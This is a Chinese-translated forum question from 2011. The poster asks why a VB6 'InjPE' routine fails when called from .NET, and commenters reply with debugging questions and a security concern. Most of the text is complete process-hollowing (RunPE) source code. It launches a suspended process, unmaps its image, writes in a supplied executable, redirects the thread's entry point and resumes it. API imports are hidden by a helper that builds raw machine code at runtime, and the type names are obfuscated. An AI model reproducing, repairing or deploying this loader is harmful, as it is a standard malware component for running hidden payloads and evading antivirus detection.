【发布时间】:2011-12-01 01:03:24
【问题描述】:
我正在使用的 vb6 代码可以将应用程序“注入”到正在运行的进程中。实际上,它相当于.Net 的反射。通过执行以下操作,我成功地从 .Net 调用了 .dll 中的所有 vb6 函数:
- 在 VB6 中创建 DLL
- 在 Windows 中注册 DLL
- 添加注册的 dll 作为对 .Net winform 应用程序的引用
- 创建 .dll 的实例并调用嵌入的函数。
但是,我调用下面的代码没有运气 - 不断出现相同的错误。
附上一张图片:
错误如下:
试图读取或写入受保护的内存。这通常是一个 指示其他内存已损坏。
VB6 调用:
Project1.Class1 vb6Test = new Project1.Class1();
vb6Test.InjPE(Application.ExecutablePath, File.ReadAllBytes(Application.ExecutablePath));
注意: 当我在 vb6 项目本身中使用上述调用时(当不从外部源调用它时),这段代码工作得非常好。
导致错误的代码
Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Sz As Long, Dest As Any, Source As Any)
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Type SUI
cb As Long
End Type
Private Type P_I
hP As Long: hT As Long
End Type
Private Type F_S_A
CW As Long: SW As Long: TW As Long: EO As Long: ES As Long: DO As Long: DS As Long: RA(1 To 80) As Byte: CNS As Long
End Type
Private Type CX
CF As Long: D0 As Long: D1 As Long: D2 As Long: D3 As Long: D6 As Long: D7 As Long: FS As F_S_A: SGs As Long: SFs As Long: SEs As Long: SDs As Long: Edi As Long: Esi As Long: Ebx As Long: Edx As Long: Ecx As Long: Eax As Long: Ebp As Long: Eip As Long: SCs As Long: EFlags As Long: Esp As Long: SSs As Long
End Type
Private Type I_D_H
e_ma As Integer: e_cb As Integer: e_cp As Integer: e_cr As Integer: e_cpa As Integer: e_min As Integer: e_max As Integer: e_ss As Integer: e_sp As Integer: e_cs As Integer: e_ip As Integer: e_csa As Integer: e_lf As Integer: e_ov As Integer: e_re(0 To 3) As Integer: e_oe As Integer: e_oe2 As Integer: e_re2(0 To 9) As Integer: e_lfn As Long
End Type
Private Type I_F_H
MCH As Integer: NOS As Integer: TDS As Long: PTST As Long: NOS2 As Long: SOOH As Integer: chst As Integer
End Type
Private Type I_D_D
VA As Long: Sz As Long
End Type
Private Type I_O_H
M As Integer: MLV As Byte: MLV2 As Byte: SOC As Long: SOFD As Long: SOUD As Long: AOEP As Long: BOC As Long: BOD As Long: IB As Long: SA As Long: FA As Long: MOSV As Integer: MOSV2 As Integer: MIV As Integer: MIV2 As Integer: MSV As Integer: MSV2 As Integer: W32VV As Long: SOI As Long: SOH As Long: CS As Long: SS As Integer: D As Integer: SOSS As Long: SOSC As Long: SOHR As Long: SOHC As Long: LF As Long: NORAZ As Long: DD(0 To 15) As I_D_D
End Type
Private Type I_N_H
s As Long: FH As I_F_H: OH As I_O_H
End Type
Private Type I_S_H
SN As String * 8: VS As Long: VA As Long: SORD As Long: PTRD As Long: PTR As Long: PTL As Long: NOR As Integer: NOL As Integer: chst As Long
End Type
Private Function CallAPI(ByVal strLib As String, ByVal strMod As String, ParamArray Params()) As Long
Dim lP As Long
Dim bvA(&HEC00& - 1) As Byte
lP = VarPtr(bvA(0))
CopyBytes &H4, ByVal lP, &H59595958: lP = lP + 4
CopyBytes &H2, ByVal lP, &H5059: lP = lP + 2
For i = UBound(Params) To 0 Step -1
CopyBytes &H1, ByVal lP, &H68: lP = lP + 1
CopyBytes &H4, ByVal lP, CLng(Params(i)): lP = lP + 4
Next
CopyBytes &H1, ByVal lP, &HE8: lP = lP + 1
CopyBytes &H4, ByVal lP, GetProcAddress(LoadLibraryA(strLib), strMod) - lP - 4: lP = lP + 4
CopyBytes &H1, ByVal lP, &HC3: lP = lP + 1
CallAPI = CallWindowProcA(VarPtr(bvA(0)), 0, 0, 0, 0)
End Function
Sub InjPE(szProcessName As String, lpBuffer() As Byte)
Dim Pidh As I_D_H
Dim Pinh As I_N_H
Dim Pish As I_S_H
Dim Si As SUI
Dim Pi As P_I
Dim CTX As CX
Si.cb = Len(Si)
CTX.CF = &H10007
Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh))
Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfn)), Len(Pinh))
Call CallAPI("kernel32", "CreateProcessW", 0, StrPtr(szProcessName), 0, 0, 0, &H4, 0, 0, VarPtr(Si), VarPtr(Pi))
Call CallAPI("ntdll", "NtUnmapViewOfSection", Pi.hP, Pinh.OH.IB)
Call CallAPI("kernel32", "VirtualAllocEx", Pi.hP, Pinh.OH.IB, Pinh.OH.SOI, &H1000 Or &H2000, &H40)
Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB, VarPtr(lpBuffer(0)), Pinh.OH.SOH, 0)
For i = 0 To Pinh.FH.NOS - 1
CopyBytes Len(Pish), Pish, lpBuffer(Pidh.e_lfn + Len(Pinh) + Len(Pish) * i)
Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB + Pish.VA, VarPtr(lpBuffer(Pish.PTRD)), Pish.SORD, 0)
Next
Call CallAPI("ntdll", "NtGetContextThread", Pi.hT, VarPtr(CTX))
Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, CTX.Ebx + 8, VarPtr(Pinh.OH.IB), 4, 0)
CTX.Eax = Pinh.OH.IB + Pinh.OH.AOEP
Call CallAPI("ntdll", "NtSetContextThread", Pi.hT, VarPtr(CTX))
Call CallAPI("ntdll", "NtResumeThread", Pi.hT, 0)
End Sub
是否有我遗漏的步骤可以让我调用上述代码而不会引发错误?
谢谢,
埃文
【问题讨论】:
-
你得到的错误通常是由于堆栈不平衡。请编辑您的问题以在 C# 中包含您的 P/Invoke 签名
-
所以你在 Visual Studio 中运行时遇到这个错误?这是一个未捕获的异常吗?异常/错误中是否还有其他详细信息?
-
那是一些勇敢的 VB6 代码。第一个 RtlMoveMemory 的目的是什么,因为它的源指针似乎只是一个零?是不是想清除 Pidh 结构的记忆?
-
看来您正在尝试写入您的进程无权访问的内存。由于这是被加载到 .net CLR 的进程空间中,我敢打赌它会让你做的事情有点挑剔,比如尝试将外部可执行文件注入到它的进程空间中。听起来那里有一个很大的安全问题。所以你只需要从你的.net代码中启动一个exe,还是需要加载一个dll并在其中调用入口点? .Net 有很多更简单的方法可以做到这一点。
-
知道了。您正在尝试将字节注入当前进程。像实际的机器代码一样?自我修改过程?注入字节数组的目标是什么。